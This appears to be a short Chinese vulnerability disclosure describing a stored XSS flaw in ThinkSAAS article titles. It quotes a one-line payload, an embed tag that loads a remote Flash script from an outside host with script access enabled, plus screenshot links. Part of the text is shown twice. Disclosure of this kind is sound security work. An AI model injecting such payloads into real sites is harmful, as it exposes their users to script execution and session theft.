### 简要描述： thinksaas 存储型xss ### 详细说明： 未对文章标题的代码进行过滤 代码如下 ``` <embed code="http://xsst.sinaapp.com/Xss.swf" allowscriptaccess="always"> ``` [<img src="https://images.seebug.org/upload/201405/131823202b2ee11bfb671ce6222ab162653ec422.jpg" alt="qq1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/131823202b2ee11bfb671ce6222ab162653ec422.jpg) [<img src="https://images.seebug.org/upload/201405/13182347f1423a07c4ebfe7f93358f987807f549.jpg" alt="qqq2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/13182347f1423a07c4ebfe7f93358f987807f549.jpg) [<img src="https://images.seebug.org/upload/201405/1318240769be22ed13767292b52fc96d2ff5663c.jpg" alt="qq3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1318240769be22ed13767292b52fc96d2ff5663c.jpg) 这里点击组长们，就会出现xss了 [<img src="https://images.seebug.org/upload/201405/13182430a5ef6a8272527ad40b04bdcacb5d2db2.jpg"...
### 简要描述： thinksaas 存储型xss ### 详细说明： 未对文章标题的代码进行过滤 代码如下 ``` <embed code="http://xsst.sinaapp.com/Xss.swf" allowscriptaccess="always"> ``` [<img src="https://images.seebug.org/upload/201405/131823202b2ee11bfb671ce6222ab162653ec422.jpg" alt="qq1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/131823202b2ee11bfb671ce6222ab162653ec422.jpg) [<img src="https://images.seebug.org/upload/201405/13182347f1423a07c4ebfe7f93358f987807f549.jpg" alt="qqq2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/13182347f1423a07c4ebfe7f93358f987807f549.jpg) [<img src="https://images.seebug.org/upload/201405/1318240769be22ed13767292b52fc96d2ff5663c.jpg" alt="qq3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1318240769be22ed13767292b52fc96d2ff5663c.jpg) 这里点击组长们，就会出现xss了 [<img src="https://images.seebug.org/upload/201405/13182430a5ef6a8272527ad40b04bdcacb5d2db2.jpg" alt="qq4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/13182430a5ef6a8272527ad40b04bdcacb5d2db2.jpg) ### 漏洞证明：
